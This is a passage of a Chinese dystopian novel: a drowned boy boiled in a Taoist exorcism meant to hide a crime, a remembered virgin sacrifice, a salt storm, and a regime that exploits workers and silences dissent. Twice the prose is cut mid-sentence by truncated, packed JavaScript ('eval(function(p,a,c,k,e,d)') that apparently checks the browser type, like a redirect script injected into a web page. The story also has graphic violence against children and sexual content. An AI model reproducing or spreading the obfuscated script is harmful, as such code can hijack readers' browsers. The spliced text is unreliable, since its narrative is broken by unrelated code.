他有些沮丧又心存不服,但也只得乖乖低头往回走,来到我跟前,确定那边听不见了,他才敢小声嘟哝:「凭什么他那个傻瓜儿子武棒棒就能随便改,到我这就不行,哼,只许州官放火。」 我的耳朵听得仔细清楚,低声向这个刺头儿子道:「所谓名字年龄,只是社会制度用以统计和管理人民的一种手段,本质上,决定你的不是年纪,而是你的思想和阅历。当局者非常狡猾的一点是,公开谈论和发表个人思想是违法的,而关于阅历方面,所有的书籍经他们删选,你想去往哪里,必须先打申请然后拿着通行证买票。我只能说这么多了,毕竟我上次就是因为话多被抓起来的。」 5. 布娘 同样弄丢了鞋子的雷雷,在清白的晨光下,被四个道徒抬着,摇摇晃晃地往济世道观方向走去。其后跟随着浩浩荡荡的人群。 排在先头第一个的是手持桃木剑的普尘道长,紧跟着是被王小小搀扶着的许绣蓝,而后是眉头紧蹙的齐半两、胡得为和刘罐头,齐半两作为安化厂的第二把手,整日里几乎是不下酒桌的,省里的市里的区里的,参观的学习的交流的,全是他来接待应付。原本昨夜他是难得清闲的,邻市肥皂厂的访问团队因为流感耽误了行程,他得以空出一晚上假期躲在家里锉木头。没成想,刚锉了条桌子腿,就被胡得为拖走了。 我隐约听见几人小声道: 「你这小舅子也是,怎么能让孩子死在那个地方。」 「成事不足败事有余。」 「还搞得全厂人都知道了。」 「他也是无心,他根本不知道这里的具体事情。」 「所幸没牵扯出什么。」 「不过,总感觉这心里不踏实呢。」 「所以这法事一定要大办,得让安化厂都认定这湖里有不干净的东西,以防后面还会有人掉进去。」 雷雷已经被抬进道馆。 只见道院的正中央已经架起三米火炉和九米高台。 青绿的百年铜炉,被七七四十九层熊熊燃烧的木柴垒着,里面沸腾着乳白色的蒸汽。其正东方位一米处,便是四根乌黑的千年槐木为支撑的祭祀高台,高台上,案台、香炉、白酒、符咒,早已陈列如阵。 这是降除恶灵的三九通天大阵。 显然许绣蓝和王小小并不知道,除了道长和领导班子的几人外,其余众人也不知道,只觉得声势浩大。 泡成白面馒头的小雷雷,被四道士齐手放在距离铜炉三米处。许绣蓝赶忙扑上前去,她泪眼朦胧地抬手抚摸着他,脸圆圆的,冰凉,衣服和裤子里吸满了冷水,他一定冷极了吧。可怜的孩子,冻得发青的脚丫暴露在外面,像一块爬满青苔的鹅卵石,另一只穿了鞋子的,看起来则让人心安很多。 许绣蓝紧紧搂着雷雷,悲痛得甚至不能完整唤出他的名字。 「雷儿,妈妈平时说的『不想要你』那些都是气话,你是最贴心的好孩子了,没有你,以后雷雨天谁来给妈妈捂耳朵,妈妈胃炎难受谁来给我煮米粥,雨雪天谁来接妈妈下班呢。你忘了吗,我们约好明年要去花果山和水帘洞的,求你,别吓妈妈好吗?这一定是你的恶作剧,或许是一场梦。妈妈明天就去买电视机,咱们以后每天都在家看齐天大圣,雷儿,你身体怎么这样冰,乖,快醒来,妈妈带你回家去烤煤炉。」 煤炉已经冷透,将自己锁在家里的杨海军,在微弱的晨曦里,余光瞥见了安静躺在炉底的一抹亮。一时间,他的身体里仿佛被投掷了几百枚核弹,心脏瞬间炸得粉碎。他前倾石化的身体,伸手摸出了那抹亮色,正是一枚进口打火机。 因为闭上眼睛便是那个无辜少年在湖水里挣扎的画面,自此以后四十余年,从保卫科到监狱,无论睡觉还是灌进风沙,直到被推进焚化炉里,杨海军都没眨一下眼睛。 人人都以为他得了奇怪的睁眼病,而只有他自己知道,那是良心在煎熬。 独眼张有过怀疑,当他一瘸一拐跟着脚印来到湖边时,只看到了雷雷掉落在湖边的一只鞋子,他四下寻觅不见杨海军,便就近开始挨家挨户地呼救。 敲到杨海军家时,灯是灭的,可门口分明有新鲜的泥脚印。 随着桃木剑在日出东方的天空画下符语。 众道徒不顾许绣蓝的悲恸,强行将雷雷抬起,面无表情,如同冷血的鬼差般,将他投进了热气沸腾的铜炉里。安静的雷雷甚至来不及说一句烫。 我望着这与几千年前昏庸黑暗的封建时代如出一辙的闹剧,瞬间感到五雷轰顶般的寒冷。 在青铜器诞生之初的年代,我曾结识过一个小女孩,她名叫布娘,家境普通,父母和睦,自幼跟随同村的妇女们学习纺织,待豆蔻之年时,已是当地小有名气的织娘。她从没出现在人类自行撰写的历史典籍中,一个祭品,人类的史书和族谱是不会记载的。 成人礼前的六月,天光现大热异象,土地干裂,举国暴晒大旱,近半年滴雨未下,稻谷死于田地,河道断流,鱼兽因炎热缺水而曝尸荒野,紧接着,人类也陆续丧命。 彼时的巫师,将兽骨做的神器抛入夜空,良久后落地,获得天启。 「天神壮年,心火难泄,故而天热大旱而不绝,需献祭一名无瑕处女,方能平息。」 虔诚的民众们奉若救命良药,纷纷献出适龄少女,其中便有布娘。而想要成为祭品,需经过三层检验。 第一层:沐浴,验身,细细密密地丈量、抚摸,从指缝到□□,确保每一处皮肤都完美无瑕。为避免献祭瑕疵品而激怒天神,每个女孩的检查都经历了整整十二个时辰。给布娘检查的老婆婆是个虔诚的巫教徒,她觉察到布娘的天真与紧张,遂给她讲起了笑话,说一个木匠装门闩时误装门外,主人骂他为「瞎贼」,木匠回答:「你便瞎贼!」主人问:「我如何倒瞎?」木匠答:「你若有眼,便不来请我这样匠人。」布娘听罢咯咯直笑,紧张也消散了。 第二层:验心性。女孩们洗漱穿戴后,被送往猛兽笼里,并将与恶虎、雄狮、豺狼共处十二时辰,尽管有锁链牵制,但多数女孩还是被吓得哇哇大哭。此项是为排除胆小的女孩,避免因恐惧和聒噪,惹得天神发怒,再加罪于人间。布娘在山野乡村长大,接触兽类众多,很顺利通过。 第三层:习得礼乐艺。天神喜怒无常,祭祀少女必须修得能歌善舞、甜言蜜语的技艺,讨得天神欢心。天神愉悦,便会赦免人间。 人类总以凡人的思维来揣度神的心思,且习惯默认神为好色的男性,这是我一直无法理解的。众所周知,一、神创造了人类,二、只有女性的子宫才能孕育生命。为何神却很少是女性形象?这简直无理可说。若神为女子,岂不应该献祭童男?直到许多年后,我在另一次盐风暴的午夜顿悟,献祭的物品并不取决于神的喜恶,而是人类愿意舍弃什么。童男是家族繁衍的荣耀,童女则是可有可无的外人。就好比说,如今总理将要过生日,全国百姓必须人人献出一件礼物,那我是必然不会将桌案上的英雄钢笔交上去的,而只会选一条粗糙的毛巾。 一千一百一十名少女中,布娘成为献祭少女。她很是开心地跑回家中向父母报喜。而父亲母亲却面色忧愁,直搂着天真的布娘叹气。 布娘听得出,父亲母亲的叹息中,夹杂着比干涸缺水更悲苦的惆怅与无奈。但她并不懂那具体是什么。 祭祀当天,布娘被盛装打扮,城中央用干柴架起一座巨大的木塔。木塔中预留了一米见方的空间,红纱帐,红烛台,显然这便是祭祀的新娘轿。 巫师将一枚兽骨凿制的圆形器物塞入布娘嘴中,并用红绸布将其嘴巴封住,鲜艳的盖帘一披,布娘还未来得及仔细再看父母亲一眼,便被送进了木塔中。 只听急促的鼓点乍起,巫师摇晃手中的骨铃铛,开始抑扬顿挫地诡异吟唱。 布娘感到周边开始炎热,甚至发烫。随着鼓点和唱词的逐渐癫狂,她感到衣衫在灼烧,皮肤火辣辣地疼。她试图喊叫,嘴里的器物却限制了声音。她本能地想逃,却发现来处已被封死,自己被困在了这个一米见方的狭小空间。她扯下红纱盖头,满眼血泪地透过缝隙望向外面。 人们正在巫师的吟唱中,虔诚地跪地祈祷。 「天神保佑,普降甘霖,天神保佑,普降甘霖。」 布娘终于明白了父母亲的叹气是什么意思。她转身问我:「林哥哥,你在这世上活了这么多年,见过天神吗?」 我摇摇头。 布娘露出天真而苦涩的笑:「那我会去往哪里呢?」 献祭的大火一直烧到半夜,而次日清晨,果然降下大雨来。为此人们纷纷前去巫师家里顶礼膜拜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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全场只有胡得为、齐半两、刘罐头知道,以及他们并不知道我知道的我知道。 而我什么都不能说。 我是负责记录的历史学家,神没有给我更改事件的特权。至少在这个事件里如此。它有它必然的去路,途中自会有人揭开面纱。 许绣蓝晕厥过去。 这是神对她的眷顾。 在她昏迷的三百八十三分钟里,沸水烫熟的雷雷,被道士们合力用钢叉架出铜炉,人肉煮熟后颜色乳白,火光下隐隐透着粉红,却不似活着的红,像是火锅里带皮煮沸的猪肉。雷雷闭着眼睛,脸上冒着熟肉的热气,道观的流浪狗陆续凑了过来,道士们抬脚驱赶,饥肠辘辘的小狗们却锲而不舍。 几个小时前还坐在板凳上盯着三打白骨精的齐天大圣,眼睛发亮的小男孩,此刻,变成了一条令狗群垂涎三尺的白肉。 道长挥舞桃木长剑,斩天劈地,嘴中咒语不断。 道士则叉着雷雷,围绕火苗旺盛的铜炉,飞快地跑起来,期间几次都差点将他颠簸下来,而狗群也生怕错过这餐美味,寸步不离地跟着追。如此急促、窒息、压迫的乱舞与奔跑,持续了七七四十九转。随着道长的剑凌空而断,一切宛若闹剧的驱邪仪式戛然而止。 只见道长两鬓大汗如豆,长吁一口气,缓缓说道:「邪祟已除,送去火化安葬吧。记住,一切静声从简,不可张扬。」 雷雷下葬后,独眼张再次找到杨海军,而杨海军将其一拳掀翻在地:「他是为了证明清白,自己跳下去的。我又不会游泳,况且那小子偷了打火机不承认,是他有错在先,我可没义务要救他!」 独眼张没再继续质问。他缓慢地闷声爬起来,拍拍膝盖上的灰尘,耷拉着肩膀离开。 空有一腔愤怒是毫无作用的,愤怒只对弱者奏效,当无力挥刀向强者时,退让和忍耐就成了唯一自保的方法。独眼张感到前所未有的憋屈,他天生残疾、受尽冷眼和嘲笑,早已习惯,可这次不一样,一个生命在自己的眼前死去,他是唯一知道凶手的人,但他不敢揭发。既怕被杨海军打死,又怕将自己牵扯进来,到时他必将更加成为众矢之的、无处容身。 独眼张来到太平盛世的街道上,两旁的桦树窸窸窣窣,头顶的天空已经太久没有过太阳,他痴痴地笑起来,他想,等将来自己死了,或许也会是雷雷这般荒诞无力的结局吧。 也好,也好。 6. 春樱 改名的当天,几乎是迈出派出所的瞬间,北方骤然掀起一阵漫天狂风,雪白的,如同夹着雪,凑近时吹到嘴里,才尝出来是盐。风来得急,医院的窗户来不及关,许多病人的伤口被盐杀得生疼,惨叫声此起彼伏。勤俭持家的妇女们则纷纷拿出家里所有能用的物件,开始囤盐。学校的孩子们更是欢喜地撒了欢儿,什么校规准则通通抛在脑后,前仆后继地往操场上奔。男人们则冷静许多,不约而同地点火架烟,就这一离奇天气异象,发表起学术观点来。 「打北边来的,八成是北极的地下盐层断裂了。」 「说到底,还是温室效应。」 「温室效应?这可真是个古老的词儿啊。」 「这场盐,也不知道要持续多久。」 「上回的火山灰雨,可是整整下了十六个月呢。」 话音未落,风瞬间停了。而且不是循序渐弱的停止,是瞬间消失。许多盐粒因为忽然失去动力而静止,地面的病人、女人、孩子、男人们也骤然错愕地定住,纹丝不敢动,世界仿佛陷入了一场巨大的一二三木头人的游戏。 半分钟后,随着一声震惊的大叫「啊……」众人的目光全部被吸引过来。 派出所门前,雪白的盐地上,凭空出现一个美人儿。只见他身形修长,穿着安化中学的校服,肤如白玉,五官深邃且精巧,仿佛是那禁书里的牧羊男孩走出来一般,从发丝到指尖都明媚诱人。 改名后的林有饭,也就是龙震天,从一个黑发黄皮的邋遢小子,变成了一名金发碧眼的翩翩美少年。 盐粒们叽叽喳喳地落地,人们渐渐恢复了活动。 一时间,美少年龙震天成了安化厂乃至全国的风云人物。生物学家、天文学家、物理学家、新闻学家几乎将我家本就岌岌可危的门槛踏烂了。 龙震天被采访了一轮又一轮,当时感受如何?身体感到有什么变化?是否有离奇怪异之处?天降异象时,他看到了什么? 这笨蛋小子,全然未继承我能言善辩的语言天赋,所有问答都会以最少字数快速终止。没感觉,没变化,没怪异,看到了满天的白。吃得好睡得香,与从前没什么两样。就这他还不忘推销自己的观命业务,「先观命后采访,一百一位,童叟无欺。」 除了来来回回的问题以外,龙震天的血也成了各色专家眼中的香饽饽,一管接一管地被抽走。 于是作为一名开明的父亲,我特地跑到老庄媳妇那儿厚着脸皮学习补血汤的做法。彼时已经逐渐干瘪不复从前壮硕的老庄媳妇,信誓旦旦从樟木箱子里拿出一张泛黄的食谱,上面赫然写着:哺乳期食补。我看了瞬间泄气,埋怨她怎么也学起吴侑珍来打趣我了。庄嫂却很认真解释说:「那生育的女人掉好几斤肉,这都能补,流点血哪有什么不能补的,这大材小用了好吧。」我一听仿佛是这个道理,于是便誊写了一遍,当天便开始实践。 鲫鱼汤,鸽子汤,乌鸡汤……这老些汤,想来肯定能给有饭,啊不,震天把血补回来。 取上现钱,菜市场现杀鸽子两只,难得开荤,必须给古秀梅也来一只尝尝,说不准她吃美了一高兴,就不会再生气我偷穿她裙子的事情了。 摸着仅剩不多的良心讲,我没有奇怪的癖好,那天是因为我又做梦了,就还是上次那个平行时空的梦。还是那个难缠的金色女人,她趁家里没人又大摇大摆地进来。十几年没见,我几乎都快忘了她是谁,直到她开始揉捏我冷掉的喉结,我先是震惊于自己的毫无反应,随即便认出了她,然后我就鬼使神差地又变成她。 我沉浸在一种剧烈的、自她那里继承来的哀漠中,又自觉作为一名女性如此赤裸行走不妥,便游荡进里屋,从衣柜里翻出古秀梅一件墨绿白边的连衣裙套在身上。我感觉自己获得了羞耻心,这是从前没有过的。 摆脱了羞耻后,我站在屋子正中央陷入思考:是谁死了?为什么我的记忆库中没有这段经历?她来自另一个地球还是另一个宇宙?她缘何而来?又是借助什么媒介来的?自从整个安化厂患上不夜症以后,超乎我天赋的事情接连出现两件,其中一件便是这个时不时到访的陌生女人。 战争几乎将人类数千年积累的资本与文明,摧毁殆尽,顽强的平民在永不黑夜的五十年时间轴里,忘我地工作,犹如一台台冷静的机器,为了那个宏伟的伟大复兴的目标。人们或自愿或被迫地放弃享乐、热爱、懒惰,前仆后继地涌入奋斗的浩瀚大军,为了不确定的曙光,而断情绝爱接连死在工作岗位上。 而令人欣慰的是,直到光明褪去,地球进入至暗的热爆时期为止,整个文明恢复尚不足百分之一。年复一年的黑暗消磨了人的意识与意志,先是懒惰病出现,随即快速蔓延,短短半年,整个地球几乎陷入停滞。除工厂、政府以及资本家的高级住宅外,普通平民家家户户限时定量供电、供水。懒惰病毁掉了人的生产能力,没有驴子拉磨,自然也就没有美味可口的豆浆。很快,食物的购买开始依靠政府分发的票据,现金丧失原本的购买力,物价不再是供需决定,而是被政府控制,这一切都令我感到似曾相识。 而这种粮票的计划生活并未维持多久,资源和产能的削减很快便影响到了上层人士的生活水准。富家先生小姐们对于餐桌上日渐减少的葡萄酒和生鱼片流露出极大不满,最终迫使政府部门下令改革。 改革大刀阔斧,直击命脉。 家家户户断水停电,粮食票据不再凭借金钱购买,而是直接与劳动产能挂钩:酿一斤葡萄酒可得米票二两、种稻米收获一斤可得精肉半斤,屠宰生猪一头可得电票一小时,供电厂检修半天可得水票一斤。人们在银行里的存款一夜之间价值全无。 政府职员通宵达旦二十四小时,事无巨细的等量换票规制被张贴公布。起初两天效果甚微,但笑面佛沙达康却坐在中央改革委的办公室里坦然自若。贴身书记员黄豆豆送来新泡的高山红茶:「沙委员长,眼见两天了,产能不增反降跌到历史新低,这如何是好?」 沙达康接过茶水,缓而轻地吹走浮茶,浅品一口,心满意足地说道:「小黄啊,你养过狗吗?就那种性格沉闷、任打任骂从不呲牙的外来狗。这类狗啊,每当换了一个主人,它们所能做的最大反抗,也只是不吃不喝而已,最多不出七天他们就会听话了。这些人民我最是了解,有血性的种族早已在战争中死去,贪生怕死之徒的后代掀不起风浪的。」 黄豆豆是个极年轻的青年,他心中尚有天性中「人人平等」的理念。他是沙达康小舅子与第三个情妇的孩子,因一双似小猫般的琥珀眼睛和俊秀的脸庞,自出生便受尽宠爱,沙达康也对这个侄子非常耐心。 「我猜你心中肯定在想,永夜病和懒惰症是全人类共同的难关,理应上下共同承担,为何因为富家先生小姐想多喝一杯红酒,便给平民下如此猛药。」 黄豆豆腼腆地点头。 沙达康挥手,招呼他在近旁坐下。「豆豆啊,你心性纯良追求平等,这本没有错,但你要明白,人是人,狗是狗。给狗喝葡萄酒,可是会要了它的命的。」 「那为什么不给它吃肉呢?」 「无论人还是狗,永远都不该获得自己认知以外的东西。例如有一个人,他一辈子没出过村庄,没见过汽车、高楼、葡萄酒,那他安于本土每天与鸡鸭稻谷相伴,未必不快乐,可一旦见识了城镇的花花世界,认知打开了,痛苦也伴随而来,因为他看到了却无法拥有。城市的一切,对他而言就是认知以外的东西,倘若经过奋斗努力,他后来买上小汽车,你不会觉得他真的快乐吧?小汽车以外还有大汽车,大汽车之外还有飞机轮船火箭,他越看见便越痛苦。所以我讲啊,人,就不该获得自己认知以外的东西,因为那东西会杀死他的快乐。所以,豆豆啊,如果让你选,你选快乐,还是小汽车呢?」 黄豆豆听得陷入沉思,他从未想过这个问题。他是个体验派,从小到大,无论是书里看到的还是听说的,无论是吃的还是玩的,但凡他好奇,家人总能在三天内帮助他实现。所以长久以来他形成了一种稳定的价值观:体验与感受比结果更重要。而他似乎是第一次意识到,这种不计结果的追求体验和感受,其背后有一个容易被忽略的隐藏条件,那就是金钱和阶级。 短暂的快乐之后,巨大的失落和不甘,才是普通人切实面对的结果。而这个结果足以杀死一个人。 沙达康看出黄豆豆的挣扎,继续说道:「暂时地给他们肉吃,的确可以做到。但你需要明白的是,懒惰症其实威胁不到像你我这样的人,就算地球最终只有一块肉,你我也一定可以吃上一份,但他们可就不一定了,所以当务之急不是帮他们填饱肚子,而是除去他们的懒惰。我们坐在这个位置上,靠的是祖辈积累的人脉和资历,可以不靠手脚谋生,他们无所依赖,既没有反抗的念头和勇气,如若再不劳动,就只有自取灭亡。」 五天后,懒惰症的轻度患者开始主动回到工厂和农田,七天后,中度患者也走进了纺织店和屠宰铺,半月后,就连最重度瘫痪在床的老弱也艰难爬起来,坐在了螺丝车间的卡槽里,一丝不苟地运转起来。 看到世界又恢复了欣欣向荣的景象,黄豆豆说不出的开心。 穿着绿裙子的我,却道不明地心酸。我起身预备取些粮食去街上喂流浪狗,却在门口与会议回来的古秀梅撞个满怀。 她见我穿着裙子娘们唧唧的模样,气得当下便甩了我一巴掌,力道之狠辣,我几乎眩晕。 后来喝了鸽子汤的她跟我解释:「当天我是迁怒于你,穿着是你的自由,只是那天全民票选制的二次会议上,全场五百六十人,近八成投了反对票,我眼看着这些以权谋私者,因阶段性胜利而沾沾自喜的模样,便愤怒难压。九亿数字的庞大底层人民,却连一张决定自己生活的选票都没有,权力的世袭制几乎人尽皆知,所谓考试和选拔也不过是形式主义,人民愚昧不觉醒,高位者精致利己,地球正在发出恶臭。老林,我的抗争是否真的存在意义,我感觉自己像个写在党报夹缝里的不痛不痒的笑话。」 这是古秀梅作为一名坚定的唯物现实主义者,第一次流露出自我怀疑。 权政的事情我向来刻意避之,毕竟以我的口无遮拦,稍不注意就有可能被划进文安局的重点关注对象,我可忍受不了社区主任朴大妈隔三差五的上门问候。因偷渡出国打工,后又被遣返回来的伍老汉,可是没少到处说被朴大妈问候的厉害。 几年前,伍老汉的妻子难产死在手术台上,儿子发小孩热夭折在两岁的冬天,后来伍老汉就成为安化厂后红巷子的常客,当中他与春樱最是常来常往。春樱丈夫早年因赌博躲债投了井,她自己拖家五口,被迫进了红巷子靠卖身为生,这一躺就是二十九年多。好在公婆父母还算明事理,自知拖了后腿,从不给春樱冷脸色,甚至会在外掐那些嚼舌根的嘴,久而久之,大家也都对春樱转了态度,男人们凡有需求都尽可能去照顾她生意,女人们也不避讳和她来往走动。心善的婆娘们甚至会故意冷落丈夫,轰去春樱那儿消费,男人们总是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我对春樱很崇拜,后来走在街上,我总是隔老远便喊她老师,起初她还会制止,后来也自然地接受了这个称呼。 伍老汉也是春樱的学生,严格来说,他只能算是个转校生,毕竟他先前有过旁的老师。 他选春樱一是为了泄火,二呢他妻子曾与春樱是同车间的好友,他觉得自己有帮衬的义务。那晚起初两人还略显尴尬,春樱沐浴后合衣而卧,如此僵持了五分钟,伍老汉起身干了一瓶二锅头。 整个过程春樱并不舒服但也没抗拒,这是她的工作,面对客户她不能有情绪。 后来伍老汉每每敲门,总是给春樱带零嘴,雪花酥、蛋黄糕、糖葫芦,中年春樱渐渐陷入甜蜜的食物里,也陷进了伍老汉的爱情里。 当伍老汉意识到自己陷入爱情时,原本正确的事情,开始令他焦虑起来。例如从前他佩服春樱能够为了养活一家老小而进入红巷子工作,他是打心里敬佩,而如今他却抱怨命运的不公、开始心疼春樱的悲苦,自妻儿走后,他终日浑噩度日,从不计划将来更不攒钱,有今天没明天地活,如今却开始设想美满的家庭、富足的生活。 当一个人获得良好的恋爱时,他是会越变越好的。 于是他决定出国打工。他告诉怀里的春樱,等攒够十万块钱,他就回来盖房子娶她过门。春樱听到这耳熟的话,并不吃惊也并不感动,她出于职业操守回答道:「好,我等你。」 她很清楚,自己所从事的这份工作,有其深层的神圣职责。比如对我,比如对伍老汉,她肩负着帮助这个国家的男人们大振雄风、改头换面的责任。是啊,她不止为这个破败的文明生下了一个男人,还要用自己的身体支持更多的男人,以免他们因为无处发泄的□□而走上歧途、危害人间。小学文凭的春樱自然是不会生出这样的觉悟的,这些都是每月一次的职业技能与素养培训上,坐在讲台的警官们告诉她的。 伍老汉出国语言不通,又惨遭中介欺骗,没到足月便被送到大使馆遣送回来了。再回安化厂的他,从单纯的出国打工,被街道法庭定罪为背叛祖国,自此成了街坊四邻人人回避的笑话。他自觉罪名沉重,恐连累春樱,故再没去过红巷子。 社区朴大妈是个话多腿勤的热心肠,尤其爱往一些特殊分子家里跑。当时因为舅舅,她也没少往我们家里来,不过舅舅疯癫古怪,朴大妈惧他,故每次茶都没放凉,她便起身走了。 而伍老汉性格沉闷得多,活像一头老驴,受多少教育都默不作声,朴大妈最是爱往他屋里钻。每回一进到屋里,朴大妈都先要求伍老汉沐浴更衣。伍老汉若拒绝,朴大妈便拿出黑本本吓唬,伍老汉也只好乖乖顺从,脱了衣服坐进澡盆。 舅舅插话:「朴大妈绝经也有十来年了,怕不是春心泛起,对你起了色心?」 伍老汉表情愈发无奈:「那倒还好解决了,有一回我是实在憋不住了。你们猜怎么着?她当即便开始喊流氓,吓得我恨不能跪地求她别喊。我已经成叛国罪了,再来个流氓罪,怕是后半生要在监禁室里过了。」 伍老汉、舅舅、我绞尽脑汁也没想明白朴大妈究竟想要啥。后来还是舅舅托人,从榴莲国弄了些绿色药丸,伍老汉的日子才算好过些。 所以这也是我选择避谈权政话题的原因。朴大妈虽已百岁,但身康体健,一旦我犯错,难免要惹上麻烦。如今的思想错误已经令我风声鹤唳,多一事不如少一事。 7. 守仁 可我终是不忍心古秀梅无望。她这样勇敢、正义的人,不应该面对那样一个龌龊的结果。所有勇敢、正义的人,都不该面对。 可我又能为她做些什么呢? 我一个思想犯,一个家世、血脉、金钱、权力都不具有的布衣平民。我空有渊博的学识和浩瀚的思想,既没有黑熊的坚韧,也没有吴侑珍的顽强,更没有春樱的敬业和安分。面对压迫与不公,我就是沙达康口中的那条狗,骨子里就没有反抗。古秀梅和黑熊这样勇于抗争的人,我是极度认可和崇拜的,但他们无法在我心里激起一丝血性,那是我自诞生起便不曾拥有过的东西,也是我长寿久活的秘诀之一。 「所以,到底是该逆来顺受地苟着,活到长久,还是痛快地拔剑,去对抗虚无呢?」 「你在说什么?」古秀梅不明所以。 我回过神,起身拉她往门外走,另不忘叮嘱龙震天:「儿子,火炉上的鸽子汤记得喝,别等熬干了。」 「去哪?」古秀梅一头雾水。 转眼我便带她来到土地庙里,叩响了黑熊书房的门环。 进门我便问:「黑熊老弟,你守在这里几年了?」 黑熊同样一头雾水,他缓缓答道:「到月底整十三年。」 我转身问古秀梅:「阿梅,你选入议会代表几年了?」 古秀梅答:「三年。」她似乎瞬间明白了什么,眼底的迷茫和怀疑顷刻一扫而光。 黑熊道:「对绝大多数人而言,年轮不过是无数重复、寡淡的日子所累积起来的数字,三年,十三年,都一样。每天所图所想无外乎三餐吃什么、情爱与钱财,看似选择颇多,本质也不过是被欲望裹挟的动物。他们无所谓意义、更没有理想与目标,所以从不存在迷失和绝望,但古主任你不一样。」 黑熊比我年小,且只活了一世七十余岁,其思想之深刻,却远远在我之上。当然这仅是我的谦虚之词。 半个月后的全国决议会上,以接近九比一的悬差,古秀梅的理想突围战首次失败。而她的沮丧甚至维持没超过两秒。 在铺满红丝绒地毯的五角大厅里,胜利方欢呼雀跃,对底层的漠视和掠夺可以说到了毫不掩饰的地步。彼此间癫狂大笑,恨不能将明令禁止的脱衣舞娘和摇滚乐队搬到议会台上,来庆祝自己再一次守住了腐朽的权杖。事实上,他们在古秀梅所在的百分之十代表团离开后,也确实如此做了。那终日被豢养在政府要员后花园的歌艺舞姬,或许也从没设想过,自己竟然有踏入五角大厅的一天。 陈传富、胡得为、齐半两、刘罐头也是那九十分之一,但他们的阶级层次卑微,无福欣赏到那位传闻倾国倾城的脱衣舞娘。但他们有自己的消遣之地。 小汽车突突了近八个小时,几人回到安化厂,已然是下班时间。厂区里除了保卫员,空无一人。陈传富打发警卫员去剧团宿舍把吕文生接过来,警卫员提醒道:「陈市长,后天省委里来视察团,行程里安排了看《义海无边》,您看今天入夜了,吕领舞还接吗?」 陈传富始终笑盈盈的:「接,这么大喜的日子,他不在可怎么行,另外,先回别墅挑两瓶烈酒,你看着选。」 警卫员点头应下。 吕文生很快被送到,他没有穿舞台上的拉脚裤,而是白衬衫搭配卡其布长裤,脚底一双棕色运动鞋。他脸色不似往日般精神饱满,眼睛发灰、隐约有泪,皮肤白得惨淡,好似一个久治未愈的慢症病人。 他跟随警卫员下车,来到胡得为办公室的书柜前。警卫员移动书柜,其后是一扇黑漆木门。警卫员将酒递到吕文生手中,「吕领舞,就麻烦你帮忙带进去了。」 吕文生面无表情,停顿良久,缓慢推开了那扇黑门。 门里传来被明令禁止的爵士乐,因其乐符里藏着对灵魂的自由启蒙。 我与吕文生打交道并不多,我是思想犯,他是根正苗红的曲艺世家,他父亲是国宝级脱口秀演员,尤其擅长将政府颁布的新政策写成老少皆宜的段子,□□长还曾亲自为他颁布表扬勋章。之前因为老庄那事儿,我们曾经同住过半月,他作为角色演员来和我这个原型人物体验生活。这部舞蹈剧也就是警卫员说的《义海无边》。时间恍然入梦十余年,吕文生始终未婚,一心为舞。 安化厂的人都背后唤他「舞痴」。 是玩笑也是敬佩,不带半点贬义。 年轻的舞蹈员每六个月便送进剧团一批,个个都是舞蹈学院的尖子生,可在吕文生面前,逊色得简直像群门外汉。 舞台上,他灵动多变,时而娇憨可爱,时而如泣如诉,身体更是如同风吹春柳,化骨绵柔,跳起舞来,动则翩若游龙,轻盈而不乏力量,静则定如松柏,泰山崩于前而不移。像我这样天然对舞蹈不感兴趣,缺乏对动态美的欣赏能力的人,却也能轻易品出吕文生的厉害之处。 讲实话,写吕文生这段属实把我给累着了,短短两百个字,耗费了个把小时,果然人还是不要尝试不擅长的写作语言。生拼硬凑的感觉实在太憋屈,而且最近的手指也不晓得怎么了,一直与我较劲,总是莫名故意写许多错别字出来,修修改改极大降低了我的创作效率。不知不觉间我就被禁锢在了追求正确的写字上面,天马行空的热情一点点被消磨,思想如同被关进禁闭室。 资本家和当权者一惯是如此对待文化人的,给他们设置科举考试、高考、公务考,名义上是筛选,实则为一种毫无成本的控制手段。文化份子,本该是这地球上最思想活跃、最先锋的一群人,如同文艺复兴、十月革命、戊戌变法、五四运动,他们就像是一把把锋利的尖刀,身穿长衫,优雅地站在阳光下,随时准备战斗。可当有了科举、高考、公务考,他们骨头里的先锋性便被抹杀了,从前读书是为天地立心,为生民立命,为往圣继绝学,为万世开太平。如今却是十年寒窗为功名,功名之后,便是那圣贤书里最愤恨的贪腐、纵欲、剥削、狼狈为奸。 科举制度的诞生,杀死了人类的血性。 你且去史书里翻找吧,谭嗣同,只有一个。 旁人面对死,是求救、陈词、转念、凛然接受。 唯独他,一心以死明志、唤醒国家。 贪生,是人本能,他也是人,他没有吗?所以他是虚伪故意不讲怕死? 生死如同睁眼和闭眼,再平常不过。正如你我从不因睁眼和闭眼而焦虑,令我们心神顾念的另有其它,于我而言是这本书。 于谭嗣同而言,便是他心中宏伟的理想——以鲜血醒世人。 而谭嗣同肯定想不到的是,在他死后两百年,入世的文人中出现了一个分支,名曰国际公知。衣冠楚楚、崇洋媚外、鸡鸣狗盗、以文谋私,甚至在许多人那里,将公知与文人学者画上等号,社会之中读书无用论、文人误国论如秋风吹落叶,拔地而起,并迅速盛行其道。思想尚未独立的青少年们,撕毁书本,砸烂学校,甚至青天白日闯进谢守仁的家中,欲将其家族百年积累的数万本珍贵藏书,自书房搬至街门外,点火焚烧。 谢守仁本是一个埋头钻研古代诗词的文学教授,莫名被打成了无良公知。 青少年们闯进门那个明媚晨后,他正坐在案台,校对即将出版的诗词译文,左手边放着吃剩的早餐,半块馒头和几根榨菜,还有一点豆浆,右手边是记录和修正的纸笔。妻子照例出门买菜去了,他听见年轻的声音们,以异于平常的吵闹从街门涌进来,且越来越近,淡然地停下工作,做好页数标记。 青少年们大约十二三岁,正是心智最莽撞的时候。 谢守仁扶正眼镜,慈爱地笑着:「都吃过早饭么?没吃的门边柜里有核桃酥,你们奶奶昨天做的,自己找去吃。」 为首的男孩却并不买账,他朝地板啐了一口痰。「老公知,谁稀罕你的破东西,别想贿赂我们,滚去找你的外国爹吧,这里不欢迎你。」 